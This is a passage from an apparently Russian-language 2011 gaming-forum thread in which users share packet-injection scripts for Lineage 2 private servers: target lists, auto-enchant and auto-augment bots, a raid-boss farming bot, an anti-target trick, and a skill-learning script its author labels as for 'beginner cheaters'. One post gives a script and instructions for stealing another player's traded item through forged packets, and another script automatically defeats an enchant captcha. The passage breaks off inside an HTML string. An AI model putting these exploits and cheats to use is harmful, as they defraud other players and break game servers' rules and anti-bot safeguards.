// при первом запуске - уточнить путь к classid.ini !!! Для отображения профессий.
//
// Работает - только с клиентом!!! работа с режимом - NoCloseServerAfterClientDisconnect - даже не тестилась.
//
// КланЛидеры выделены в списке цветом
// Сортировки - нет, фильтр - примитивен - только для отсева торговцев.
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
const
name='Aola';
////////////////<<<<<<<<<<----Mask---->>>>///////////////////////////////////////////
RELATION_CLAN_MEMBER = $40; // персонаж состоящий в каком-либо клане
RELATION_LEADER = $80; // клан лидер
RELATION_CLAN_MATE = $100; // хз
RELATION_INSIEGE = $200; // осаждаемые
RELATION_ATTACKER = $400; // осаждающие
RELATION_ALLY = $800; // альянс
RELATION_ENEMY = $1000; // хз
RELATION_MUTUAL_WAR = $4000; // двусторонний вар
RELATION_1SIDED_WAR = $8000; // односторонка
RELATION_ALLY_MEMBER = $10000; // альянс
RELATION_TERRITORY_WAR = $80000; // ТВ
//////////////////////////////////////////////////////////////////////////////////////////
//------->>> Создаем маску с которой и будем работать впоследствии -
// перечислением нужных флагов через OR
//////////////////////////////////////////////////////////////////////////////////////////
//// в данном случае будут обрабатыватся двусторонки, атакующие замок, односторонние вары:
//// (отдельно клан лидера в маску добавлять не требуется)
Mask = RELATION_MUTUAL_WAR or RELATION_ATTACKER or RELATION_1SIDED_WAR;
var
html_, charstr, cmd, OID : String;
CharData, CharInfo, CharClass, CharWars, CharDead : TStringList;
CharDataIndex, CharWarsIndex : Integer;
i, MyX, MyY, MyZ : Integer;
pause : Boolean;
procedure Init; //Вызывается при включении скрипта
begin
html_ := '';
CharData := TStringList.Create;
CharInfo := TStringList.Create;
CharClass := TStringList.Create;
CharWars := TStringList.Create;
CharDead := TStringList.Create;
pause := false;
try
CharClass.LoadFromFile('settings\classid.ini');
except
Sendmsg('classid.ini не найден!');
exit;
end;
MyX:=0;MyY:=0;MyZ:=0;
buf:=#$56;WriteD(0);WriteD(0);WriteC(0);
SendtoserverEx(name);
delay(250);
SendtoserverEx(name);
ShowBoard;
end;
procedure Free; //Вызывается при выключении скрипта
begin
CharData.free; CharInfo.free; CharWars.free; CharDead.free;
end;
procedure ShowBoard; //формирование окна вывода
begin
if Not pause then begin
html_:='<html><body><font color="LEVEL"><center>List of Targets:</center></font>';
buf:=#$19;WriteD(0);
if chardata.count=0 then html_:='<html><body><font color="LEVEL"><center>List of Targets: Null</center></font>';
for i:=0 to CharData.Count-1 do begin
charstr:=CharData;
if ((CharWars.Values[copy(charstr,1,9)])<>'') and Not((CharDead.Values[copy(charstr,1,9)])<>'') then begin
//уточняем бит - клан лидер или не
if (strtoint((CharWars.Values[copy(charstr,1,9)]))and RELATION_LEADER)=0 then begin
html_:=html_+'<br><a action="bypass -h target_on_'+inttostr(i)+'">'+copy(charstr,Pos('=',charstr)+1,length(charstr)-Pos('=',charstr))+'</a>';//Pos('=',charstr);
end else begin
//и если - лидер - то выделяем цветом
html_:=html_+'<br><a action="bypass -h target_on_'+inttostr(i)+'">'+'<font color="LEVEL">'+copy(charstr,Pos('=',charstr)+1,length(charstr)-Pos('=',charstr))+'</font>'+'</a>';//' <<-- Leader of war clan !'+'</a>';//Pos('=',charstr);
end;
end;
end;
end;
// пишем сформированый пакет и шлем его
WriteS(html_);WriteD(0);SendtoclientEx(name);
end;
//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin
if fromserver and (connectname=name) then begin
case (pck[1]) of
#$00:begin //скрыть игрока из списка если он умер - добавляется в список мертвых
CharDataIndex:=CharData.IndexOfName(inttostr(ReadD (2)));
if CharDataIndex=-1 then exit else CharDead.Values[inttostr(ReadD(2))]:='is dead';
ShowBoard;
end;
#$01:begin //вернуть в список если его реснули - вычеркнуть из списка мертвых
CharDataIndex:=CharDead.IndexOfName(inttostr(ReadD (2)));
if CharDataIndex=-1 then exit else CharDead.Delete(CharDataIndex);
ShowBoard;
end;
#$08:begin //одиночное удаление - удалить и из списка и (если он был) из списка мертвых
CharDataIndex:=CharData.IndexOfName(inttostr(ReadD (2)));
if CharDataIndex=-1 then exit else begin CharData.Delete(CharDataIndex);CharDead.Delete(Cha rDataIndex);end;
ShowBoard;
end;
#$31:begin // инфа об окружающих в формате оид=ник+', '+профа
// если ктото сидит на торге - его не учитываем, если его ранее не
// было в списках, или же удалим - если был.
if (ReadC(length(pck)-99)<>1) then begin
CharDataIndex:=CharData.IndexOfName(inttostr(ReadD (18)));
if CharDataIndex=-1 then
CharData.Add(Format('%d=%s, %s',[ReadD(18),ReadS(22),CharClass.Values[inttostr(ReadH(length(pck)-84))]])) //dobovlenie v bazu
else CharData[CharDataIndex]:=Format('%d=%s, %s',[ReadD(18),ReadS(22),CharClass.Values[inttostr(ReadH(length(pck)-84))]]); //obnovlenie
ShowBoard;
end else begin
CharDataIndex:=CharData.IndexOfName(inttostr(ReadD (18)));
if CharDataIndex=-1 then exit else begin CharData.Delete(CharDataIndex);CharDead.Delete(Cha rDataIndex);end;
ShowBoard;
end;
end;
#$CE:begin //!!!!!!!!<<<< --- Обработка 0xCE (RelationChanged)--- >>>>>
if ((ReadD(6)and mask)<>0) then begin
CharWars.Values[inttostr(ReadD(2))]:=inttostr(ReadD(6));
ShowBoard;
end;
end;
end;
end;
if fromclient and (connectname=name) then begin
case (pck[1]) of
#$0f:begin //координаты
MyX:=ReadD(2);MyY:=ReadD(6);MyZ:=ReadD(10);
end;
#$23:begin
if (copy((ReadS(2)),1,10)='target_on_')then begin
OID:=copy(CharData[strtoint(copy(ReadS(2),11,1))],1,9);
buf:=#$1F; WriteMask('ddddc',[oid,MyX,MyY,MyZ,0]);
if (MyX<>0)or(MyY<>0)or(MyZ<>0) then pck:=buf;//замена команды на пакет экшн
ShowBoard;
end;
end;
#$3a:begin //полная очистка при телепорте
CharData.clear;
CharWars.clear;
ShowBoard;
end;
#$56:begin //вкл\выкл паузы
if ReadD(2)=14 then pause:=Not pause;
ShowBoard;
if pause then begin
buf:=#$19;WriteD(0);
html_:='<html><body><font color="LEVEL"><center>List of Targets: Pause</center></font>';
WriteS(html_);WriteD(0);SendtoclientEx(name);
end;
end;
#$59:begin //координаты
MyX:=ReadD(2);MyY:=ReadD(6);MyZ:=ReadD(10);
end;
#$74:begin //прячем управление через чат от сервера
if (ReadS(2)='list') then begin
buf:=#$48;WriteH(0); pck:=buf; ShowBoard;
end;
end;
end;
end;
end.



Пробуйте
НО - скорее всего надо будет допиливать под себя, данный скрипт писалса согласно данных от l2mir.org

на кодерах выложил Breadfan

Добавлено через 3 минуты
Авто Augument to Freya


//Made By Avrelio
//Скрипт на аргументацию в 1 нажатия
//Вставить ЛС соцальное действие ДА /social yes
//Удалить ЛС соцальное действие НЕТ /socila no
const
name='AvrelioCX'; //ник чара
puhaid=15893; //ид пухи куда ЛС встовлять Не забываем если 2 оденаковые пухи 1 ложым в вх
lifestoneid=10484; // ИД лайф стона
gamestoneid=2132; // ИД гем стоуна 2132 б грейд
gemcount=36; //скока гемов надо на вставку 36 для топ пухи дальше сам в игре смотриш

var
Invertory:array[0..999,1..2] of integer;
i:word;
ObjId,ObjId1,ObjId2:integer;

procedure Init;
begin
buf:=#$14;
SendToServerEx(name);
end;


procedure ItemList; //obj id puhi
begin
for i:=0 to ReadH(2)-1 do
begin
Invertory[i,1]:=0;
Invertory[i,2]:=0;
end;
for i:=0 to ReadH(2)-1 do
begin
Invertory[i,1]:=ReadD(i*68+6);
Invertory[i,2]:=ReadD(i*68+10);
if Invertory[i,2]=puhaid then ObjId:=Invertory[i,1];
end;

end;

procedure ItemList1; //obj id lsa
begin
for i:=0 to ReadH(2)-1 do
begin
Invertory[i,1]:=0;
Invertory[i,2]:=0;
end;
for i:=0 to ReadH(2)-1 do
begin
Invertory[i,1]:=ReadD(i*68+6);
Invertory[i,2]:=ReadD(i*68+10);
if Invertory[i,2]=lifestoneid then ObjId1:=Invertory[i,1];
end;

end;

procedure ItemList2; //obj id gema
begin
for i:=0 to ReadH(2)-1 do
begin
Invertory[i,1]:=0;
Invertory[i,2]:=0;
end;
for i:=0 to ReadH(2)-1 do
begin
Invertory[i,1]:=ReadD(i*68+6);
Invertory[i,2]:=ReadD(i*68+10);
if Invertory[i,2]=gamestoneid then ObjId2:=Invertory[i,1];
end;

end;


procedure vstavkalsa;
begin
buf := HStr('D0 41 00');
WriteD(ObjId);
WriteD(ObjId1);
WriteD(ObjId2);
WriteD(gemcount);
WriteD(0);
SendToServerEx(name);
end;

procedure deletels;
begin
buf := HStr('D0 43 00');
WriteD(ObjId);
SendToServerEx(name);
end;



begin
if FromServer and (ConnectName=Name) then
case pck[1] of
#$11: ItemList;
end;
begin
if FromServer and (ConnectName=Name) then
case pck[1] of
#$11: ItemList1;
end;
end;
begin
if FromServer and (ConnectName=Name) then
case pck[1] of
#$11: ItemList2;
end;
end;
begin
if fromclient and (ConnectName=name) and (pck=HStr('56 18 00 00 00 00 00 00 00 00')) then
begin
vstavkalsa;
end;
end;
begin
if fromclient and (ConnectName=name) and (pck=HStr('56 19 00 00 00 00 00 00 00 00')) then
begin
deletels;
end;
end;
end.

Добавлено через 6 минут
точка скилов под фрею

Const
// ============= НАСТРОЙКИ ===============
NickName = ''; //ник
MaxEnchantLevel = 20; //до какого уровоня точить
// =======================================

// задержка между точками в сек.
interval = 0;
// отладочные сообщения
MainDebug = false;
var
CurLevel: integer;
tick: integer;
SKillID: integer;

procedure Init; //Вызывается при включении скрипта
begin
CurLevel := -1;
end;


// пауза в секундах
function Wait(var tick: integer; Timewait: Integer): Boolean; // сквозная проверка без остановки скрипта
var
t: integer;
begin
result:=false;
t:=Round(Time*86400);
if t>(tick+Timewait) then begin
if tick>0 then result:=true;
tick:=t;
end;
end;

//###################### Сообщения #############################################
// послать сообщение в чат себе
procedure SendMsg_to_Chat(ChatType: integer; msg:string); // отправка системных сообщений клиенту
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS(NickName);
WriteS(msg);
SendToClientEx(NickName);
end;
// послать отладочное сообщение себе
procedure DebugMsg(msg:string);
begin
if MainDebug then
SendMsg_to_Private(msg);
end;
// послать сообщение себе в приват
procedure SendMsg_to_Private(msg:string);
begin
SendMsg_to_Chat(2,msg);
end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin
if pck = '' then exit;
// Т.к. использоваться будет только для одного чара, остальных сразу отсеиваем
if ConnectName<>NickName then Exit;

// пакет - сообщение со статусом заточки
if FromServer and (pck[1]=#$62) and (pck[3]+pck[4]+pck[5] = HStr('05 00 00')) then begin
if (pck[2] = #$A0)or(pck[2] = #$A1)then begin
SKillID := ReadD(14);
CurLevel := ReadD(18);
// заточка была не удачной, обнуляем текущий уровень заточки
if pck[2] = #$A1 then
CurLevel := (CurLevel div 100)*100; // округляем
DebugMsg('SKillID='+inttostr(SKillID)+'; CurLevel='+inttostr(CurLevel));
if (CurLevel mod 100) >= MaxEnchantLevel then
CurLevel := -1;
tick := 0;
Wait(tick, interval);
end;
end;

// Можно закомментировать "and Wait(tick, interval)", точиться будет намного быстрее,
// только ощущение такое, что шанс точки меньше, хотя может и показалось
if (CurLevel >= 0) then begin
DebugMsg('точим');
buf := HStr('D0 0F 00');
WriteD(SKillID);
WriteD(CurLevel+1);
SendToServerEx(NickName);
CurLevel := -1;
end;
end.

HARDporno[™]
30.06.2011, 02:57
2 вариант антитаргета.
- мы не можем пить банки , бафатся.
+антитаргет
+можно делать во время оли и не терять очки!

const
//======================================
Name='HARD*****'; //**<-----Ник Персонажа-=
//======================================
var
a:integer; b:boolean;
procedure Init;
begin
SendMsc('Возьмя себя в таргет');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClientEX(Name);
end;
begin
begin
if FromClient and (ConnectName=Name) and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2);
SendMsc('Запомнен ObjectID = '+inttostr(a));
b:=true;
end;
end;
begin
If Fromclient and (ConnectName=Name) and (pck=hstr('38 2E 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$9F;
WriteD(a);
buf:=buf+ hstr('01 00 00 00 05 4D 06 10 05 00 00 00');
SendToServerEX(Name);
end;
end;
end.

HotShot
20.07.2011, 19:30
Вписуем свой ник,вкл. скрипт,кидаем пати жертве и просим что б она кинула что-то в трейд,скрипт автоматически мутит то что в трейде.
var
i:integer;

begin
if (FromServer) and (pck[1]=#$21) then
begin
buf:=HStr('04')+pck[6]+pck[7]+pck[8]+pck[9]+HStr('A8 41 02 00 B8 27 FF FF 53 F5 FF FF 00');
for i:=1 to 1 do
SendToServerEx('HighStyle'); <<--------- Вписуем сюда свой НИК
end;
end.

Таргет радар,выделяем цель или прописуем таргет и над нами появляеться стрелка которая указует куда нам бежать.
Чтобы включить скрипт используйте в игре социальное действие - Yes
Чтобы выключить скрипт используйте в игре социальное действие - No

// Установка стрелки (радара) над чаром к цели, при использовании таргета
// Чтобы включить скрипт используйте в игре социальное действие - Yes
// Чтобы выключить скрипт используйте в игре социальное действие - No
// Автор: Furious
// Версия: 0.2

var
Attacker, SocialID, CorX, CorY, CorZ, Status: Integer;

procedure TargetRadar(CorX, CorY, CorZ: Integer);
begin
buf:=#$EB;
WriteD(0);
WriteD(1);
WriteD(CorX);
WriteD(CorY);
WriteD(CorZ);
SendToClient;
end;

procedure TargetRadarDrop;
begin
buf:=#$EB;
WriteD(2);
WriteD(1);
WriteD(0);
WriteD(0);
WriteD(0);
SendToClient;
end;

begin
if FromClient and (pck[1]=#$1B) then
begin
SocialID:=ReadD(2);
case SocialID of
6:Status:=1;
5:Status:=0 and TargetRadarDrop;
end;
end;
if Status=1 then
begin
if FromServer and (pck[1]=#$61) then
begin
CorX:=ReadD(6);
CorY:=ReadD(10);
CorZ:=ReadD(14);
TargetRadar(CorX, CorY, CorZ);
end;
end;
end.

Оба скрипта тестились на Interlud хрониках.

Arsonist
29.07.2011, 03:29
Выкладываю скрипты сотканные из чужих кусков и скриптов, которые пригодятся кому-нибудь. На спасибо надеяться не приходится.

Все они Interlude узкоспециальные скрипты, сотканы на станке версии 3.1.8 на нем же и тестились. (Еще 3.4 тестил друг)

Первым идет самый идиотский скрипт всех времен:
Const
Name='Zhyk';
Max=250;
ItemToUse=268484030; //После убийства РБ Жрет Итем с данным OID (Хилка)
You=268510034;
Skill1st=1340; //ID Скилла, юзается 1й (Вортекс)
Heal=268701436; //OID Хиллки
SkillToAttack=1235; //ID Скилла, которым будим убивать...
AttackDelay=200; //Задержка между атаками (Зависит от каста)
RBID=1025319; //ID Рб

var
ItemBase,RBBase : array[1..5,1..max] of integer; //Итемы с пола и Список РБ
timer,timer1,timer2:TTimer; IDindex:boolean;
i,f,ID,D,X,Y,Z,ID1,X1,Y1,Z1:integer; picked,g,M,g1,g2,D1,start,S:byte;

procedure Init; //Вызывается при включении скрипта
begin
timer:=TTimer.Create(nil);
timer.OnTimer:=@OnTimer;
timer.enabled:=false;
timer.interval:=AttackDelay;
timer1:=TTimer.Create(nil);
timer1.OnTimer:=@OnTimer01;
timer1.enabled:=false;
timer1.interval:=1500; //время задержки
timer2:=TTimer.Create(nil);
timer2.OnTimer:=@OnTimer02;
timer2.enabled:=false;
timer2.interval:=2000;
Picked:=1; M:=0; g:=1;
g1:=1; start:=0; D1:=0;
end;

procedure Free;
begin
timer.Free;
timer1.Free;
timer2.Free;
end;

procedure SendMsc(msc:string); //Шаблон отправки системных сообщений
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;

function GetItem(ID, FieldIn, FieldOut : integer) : integer;
var
i : integer;
begin
for i:=1 to max do
if ItemBase[FieldIn,i]=ID then begin
result:=ItemBase[FieldOut,i]; // itemOID
exit;
end;
result:=0;
end;

procedure OnTimer(Sender: TObject);
begin
buf:=#$2F;
WriteD(SkillToAttack);
WriteD(0);
WriteC(0);
SendToServer;
end;

procedure OnTimer01(Sender: TObject);
begin
if g>0 then
begin
buf:=#$04;
WriteD(ItemBase[1,g1]);
WriteD(ItemBase[2,g1]);
WriteD(ItemBase[3,g1]);
WriteD(ItemBase[4,g1]);
WriteC(0);
SendToServer;
inc(g1);
end;
end;

procedure OnTimer02(Sender: TObject);
begin
buf:=#$04;
WriteD(ID1);
WriteD(X1);
WriteD(Y1);
WriteD(Z1);
WriteC(0);
SendToServer;
end;

begin
if FromServer and (pck[1]=#$0D) and (D1=0) and (ReadD(2)=268510034) then
begin
for i:=1 to g1 do
ItemBase[1,(GetItem(ReadD(6),1,5)+i-1)]:=0;
end;

if g2>8 then
begin
timer2.enabled:=false;
buf:=#$14;
WriteD(ItemToUse);
WriteD(0);
SendToServer;
g2:=1;
end;

if (g1>g) or (g=0) then
begin
timer1.enabled:=false;
g1:=1;
g:=1;
g2:=1;
D1:=1;
picked:=1;
if start=1 then
begin
start:=0;
buf:=#$04;
WriteD(ID);
WriteD(X);
WriteD(Y);
WriteD(Z);
WriteC(0);
SendToServer;
buf:=#$2F;
WriteD(Skill1st);
WriteD(0);
WriteC(0);
SendToServer;
timer.enabled:=false;
end;
end;

if FromServer and (pck[1]=#$06) and (ReadD(2)=D) then //Die
begin
timer1.enabled:=true;
if g=1 then g:=0;
end;

if FromServer and (pck[1]=#$0C) then //DropItem
begin
timer.enabled:=false;
if (ReadD(10)=6578) then //6578(Bless Arm S)
begin
ItemBase[1,g]:=ReadD(6);
ItemBase[2,g]:=ReadD(14);
ItemBase[3,g]:=ReadD(18);
ItemBase[4,g]:=ReadD(22);
ItemBase[5,g]:=g;
inc(g);
end;
end;

if FromServer and (pck[1]=#$16) and (ReadD(6)=RBID) then
begin
if (timer.enabled=false) and (Picked=1) then
begin
Picked:=0;
D:=ReadD(2);
start:=0;
buf:=#$04;
WriteD(ReadD(2));
WriteD(ReadD(14));
WriteD(ReadD(18));
WriteD(ReadD(22));
WriteC(0);
SendToServer;
buf:=#$2F;
WriteD(Skill1st);
WriteD(0);
WriteC(0);
SendToServer;
timer.enabled:=true;
end;
if ((timer.enabled=true) and (ReadD(2)<>D)) or ((Picked=0) and (ReadD(2)<>D)) then
begin
D:=ReadD(2);
ID:=ReadD(2);
X:=ReadD(14);
Y:=ReadD(18);
Z:=ReadD(22);
start:=1;
end;
end;
end.
Написанный на коленке скрипт был создан за 5 минут для сервера razor-revival.ru(Вроде как плагиат другого разора.), где фарм идет на РБшечках. (Он недавно переоткрылся, вроде)

Писался для друга и себя, для фарма магом. Друга Arsonist звать, а себя позорить не буду.
Благодаря тонкой настройке он умеет убивать РБ, подбирать весь дроп и (Внимание) юзать хилочку. О да. Еще этот скрипт побил рекорд по кол-ву переменных.

2й Скрипт:

Const
Name='Zhyk'; //Имя
interval1=384; //Интервал
Max=280; // Кол-во ячеек в инвентаре
Ench=90; //На скок точить
//---------------------------------------------
Var
ItemBase : array[1..4,1..max] of integer; //ItemOID, ItemID, Kol-vo, ItemLvl
ICurOID, SCurOID, min1: integer;
i, j, u, y, d, n, num1: Word;
min, min2: Byte;
z, lol, L: boolean;
Timer01: TTimer;
s, num: string;


//================================================== ===========//
procedure Init; //Вызывается при включении скрипта
//----------------------------------------------------------
begin
n:=0; i:=0; min:=0; min2:=0;
z:=true; lol:=true; L:=true;
Timer01:=TTimer.Create(nil);
Timer01.OnTimer:=@OnTimer01;
Timer01.enabled:=false;
Timer01.interval:=interval1;
buf:=#$0F;
SendToServerEx(Name);
end;
//================================================== ===========//

procedure Free; //Вызывается при выключении скрипта
begin
Timer01.free;
end;

procedure SendMsg2(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);// ID Чата
WriteS('');
WriteS(msg);
SendToClientEx(Name);
end;



procedure OnTimer01(Sender: TObject);
begin //Проверка Энчант лвл'а
if GetItem(ICurOID, 1, 4)>=Ench then ICurOID:=EnchantDone;
z:=false; lol:=true;
if L then begin
L:=false;
buf:=#$14;
writeD(SCurOID);
WriteD(0);
SendToServerEx(Name);
end
else
begin
L:=true;
buf:=#$58;
WriteD(ICurOID);
SendToServerEx(Name);
end;
if GetItem(ICurOID, 1, 4)>min then min:=GetItem(ICurOID, 1, 4);
end;

function EnchantDone : integer;
begin
for u:=1 to max do
if (ItemBase[2,u]=num1) and (ItemBase[4,u]<Ench) then begin
result:=ItemBase[1,u]; // itemOID
exit;
end;
result:=0;
end;

procedure CreateItemBase;
var
i, j, ListCount: Word;
begin
for i:=1 to max do begin
//очищаем масив
ItemBase[1,i]:=0; //OID
ItemBase[2,i]:=0; //ID
ItemBase[3,i]:=0; //kol-vo
ItemBase[4,i]:=0; //lvl
end;
j:=4;
ListCount:=ReadH(j);
j:=8;
for i:=1 to ListCount do begin
itemBase[1,i]:=ReadD(j); //OID
itemBase[2,i]:=ReadD(j); //ItemID
itemBase[3,i]:=ReadD(j); //кол-во
inc(j,10);
itemBase[4,i]:=ReadH(j);//EnchantLevel
inc(j,12);
end;
end;
//......................................
//************************************************** ****************************
procedure InventoryUpdate; //пакет 27, обновляет базу ObjectID по ItemID
var
OID, Count, UpdType: integer;
lvl, ListCount, ID, i, ii, j: Word;
add : boolean;
begin
add:=false;
ListCount:=ReadH(2);
j:=4;
for ii:=1 to ListCount do begin
add:=false; //Ели додумался изза чего не добавляет сразу несколько предметов в базу
UpdType:=ReadH(j);
ReadH(j); //ItemType1
OID:=ReadD(j); //ObjectID
ID:=ReadD(j); //ItemID
Count:=ReadD(j); //кол-во
inc(j,10);
lvl:=ReadH(j);
case UpdType of
1: begin
for i:=1 to max do begin
if (ItemBase[1,i]=0) and (add=false) then begin
ItemBase[1,i]:=OID;
ItemBase[2,i]:=ID;
ItemBase[3,i]:=Count;
ItemBase[4,i]:=lvl;
add:=true;
end;
end;
end;
2: begin
for i:=1 to max do begin
if ItemBase[1,i]=OID then begin
ItemBase[3,i]:=Count;
ItemBase[4,i]:=lvl;
end;
end;
end;
3: begin
for i:=1 to max do begin
if ItemBase[1,i]=OID then begin
ItemBase[1,i]:=0;
ItemBase[2,i]:=0;
ItemBase[3,i]:=0;
ItemBase[4,i]:=0;
end;
end;
end;
end;
inc(j,10);
end;
end;

function GetItem(ID, FieldIn, FieldOut : integer) : integer;
var
y : Word;
begin
for y:=1 to max do
if ItemBase[FieldIn,y]=ID then begin
result:=ItemBase[FieldOut,y]; // itemOID
exit;
end;
result:=0;
end;

begin

if FromClient and (pck[1]=#$14) and z then
begin
SCurOID:=ReadD(2);
end;

if FromClient and (pck[1]=#$58) and z then
Begin
ICurOID:=ReadD(2);
num1:=Getitem(ICurOID, 1, 2);
Timer01.enabled:=true;
end;

if fromserver and (pck[1]=#$0F) and (ReadD(2)=0) and lol then
begin
lol:=false;
Timer01.enabled:=false;
s:=ReadS(6);
for d:=1 to Length(s) do
begin
if (s[d]='9') and (s[d+1]='9') and (s[d+2]='9') then
begin
num:=Copy(s, d, 5);
break;
end;
end;
SendMsg2('Capcha ID: '+num);
buf:=#$21;
writeS('ench_click '+num);
writeS(num);
WriteC(0);
SendToServerEx(Name);
Timer01.enabled:=true;
end;

if FromServer and (pck[1]=#$64) and (ReadD(2)=1517) and (min2<>min) then
begin
min2:=min;
SendMsg2('Лучшая попытка на '+IntToStr(ICurOID)+' пока: +'+IntToStr(min));
end;

if FromServer and (ConnectName=Name) then
case pck[1] of
//......................................
//Пакет ItemList
#$1B: CreateItemBase; //создание базы предметов
//......................................
#$27: InventoryUpdate; //Обновление базы
end; //end от case!!!

end.

2й скрипт связан с другим более эпичным сервером, где были дешевые точки, которые ложились в 1у ячейку и суперинфернальная капча-кнопка, которую надо было нажимать, а то не точит.

Суть такова: Находит пакет ХТМЛ окошка, находит нужный ИД окошка с рандомным кол-ом <br тега> Он прогоняется по нему в поисках опеределенных цифорок, которые были всегда одни (Надо было делать под любые цифры, но делал для себя и на 1 серв, так что влом было)
Еще не прикрутил покупку, ведь там были дешевые скроллы, а я такой ленивый xD

До сих пор используется на серваках, где скроллы в 1й ячейке, даже если без капчи.

А последний попросили не выкладывать, ибо он хоть и нубский, но немного актуален.

Всего доброго.

NeG@TiV
29.07.2011, 07:07
Скрипт на грацию(авто заточка)
var
x,i,OID,ItemID,ItemID1,ItemCount,ScrollID,j,k,l,m, temp1,temp2,ItemIDToEncant,MaxEnchant,
ItemOIDToEncant,ItemIDToEncant1,n,f,EnchantLevel,o :Integer;
z,Load,temp:word;
Scrolls:Array[0..299,0..1] of Integer;
procedure Init; //Вызывается при включении скрипта
begin
ItemIDToEncant:=6379;
//9857-Dynasty Two Handed Sword [Focus]
//9864-Dynasty Bow [Guidance]
//6379 Draconic Leather Armor
//6380 Draconic Leather Gloves
//6381 Draconic Leather Boots
//6382 Draconic Leather Helmet
//6656 Earring of Antharas
//6657 Necklace of Valakas
//6658 Ring of Baium
//6659 Zaken's Earring
//6660 Ring of Queen Ant
//6661 Earring of Orfen
//6662 Ring of Core
или вписать что точить.
ScrollID:=960;
//959-EWS
//960-EAS
MaxEnchant:=180;
j:=0;
k:=0;
n:=0;
end;
procedure SendMsg(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msg);
SendToClient;
end;
Procedure Enchant(ScrolOID1,ItemOID1:Integer);
begin
buf:=#$14;
WriteD(ScrolOID1);
WriteD(0);
SendToServer;
delay(500);
buf:=#$58;
WriteD(ItemOID1);
SendToServer;
delay(30);
end;
begin
//Для запуска скрипта скажите "е" без кавычек на английской раскладке в пати-чат
if FromClient and (pck=#$38#$31#$00#$00#$00#$03#$00#$00#$00) then
begin
SendMsg('Процесс заточки начался! Это может занять от нескольких секунд, до 2-3 минут. Пожалуйста, подождите!');
SendMsg('В это время может замечаться зависание клиента, это нормально.');
buf:=#$0F;
SendToServer;
n:=1;
o:=1;
end;
if FromServer and (pck[1]=#$1B) and (o=1) then
begin
i:=4;
l:=0;
o:=0;
Load:=ReadH(i);
For x:=1 to Load do
begin
temp:=ReadH(i);
OID:=ReadD(i);
ItemID:=ReadD(i);
ItemCount:=ReadD(i);
if ItemID=ScrollID then
begin
Scrolls[l,0]:=ItemID;
Scrolls[l,1]:=OID;
l:=l+1;
end;
if ItemID=ItemIDToEncant then
begin
ItemOIDToEncant:=OID;
ItemIDToEncant1:=ItemID;
end;
i:=i+22;
end;
buf:=#$14;
WriteD(ItemOIDToEncant);
WriteD(0);
SendToServer;
end;
if FromServer and (pck[1]=#$27) and (n=1) then
begin
f:=12;
ItemID1:=ReadD(f);
temp:=ReadH(f);
temp:=ReadH(f);
temp:=ReadH(f);
temp:=ReadH(f);
temp:=ReadH(f);
temp1:=ReadD(f);
EnchantLevel:=ReadH(f);
if (ItemID1=ItemIDToEncant1) and (EnchantLevel<MaxEnchant) then
begin
n:=0;
For m:=0 to 299 do
begin
temp1:=Scrolls[m,0]; //ItemID
temp2:=Scrolls[m,1]; //OID
if temp1 <> 0 then
begin
Enchant(temp2,ItemOIDToEncant);
end;
end;
end;
end;

Добавлено через 6 минут
/// Скрипт Помогающий Учить скилы, Учит сразу Максимального lvl Скила. \\\
/// Чтобы ипользовать Скрипт, Начните Деалог с NPC У каторого учите скилы и \\\
/// ввидите в All чате Слово Negativ \\\

var
bypass: string;
objectID, actionID, status: integer;

const
HTML='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco width=256 height=32>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<button value="Demon Weapon" action="bypass -h Demon Weapon" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="GameMaster Skills" action="bypass -h GM Скилы" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="HP/MP Increase" action="bypass -h HP/MP Increase" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Статы" action="bypass -h Stats" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Ultra Skills" action="bypass -h Ultra Skills" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Armor Mastery" action="bypass -h Armor Mastery" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Скилы Эпик бижи" action="bypass -h Epic" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Infinity Skills" action="bypass -h Infinity" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Эпик RB Скилы" action="bypass -h NBC" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Resist Skills" action="bypass -h Resist" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Скилы От Сэтов" action="bypass -h Set Skill" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Hero Skills" action="bypass -h Hero Skills" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="SA Skills" action="bypass -h SA" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Дансы" action="bypass -h Dance" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Сонги" action="bypass -h Song" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Buff" action="bypass -h Buff" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">Скрипт Помогающий Учить скилы</font><br>'+
'<font color="04fbfb">Учит сразу Максимального lvl Скила</font><br>'+
'<font color="04fbfb">Скрипт был написан ©Negativ</font><br>'+
'<font color="04fbfb">Скрипт Создан Для Наченающих Читеров</font><br>'+
'<font color="04fbfb">ICQ 44-075-611</font><br>'+
'</center></body></html>';

const
HTML_Zariche='<html><body><center>'+
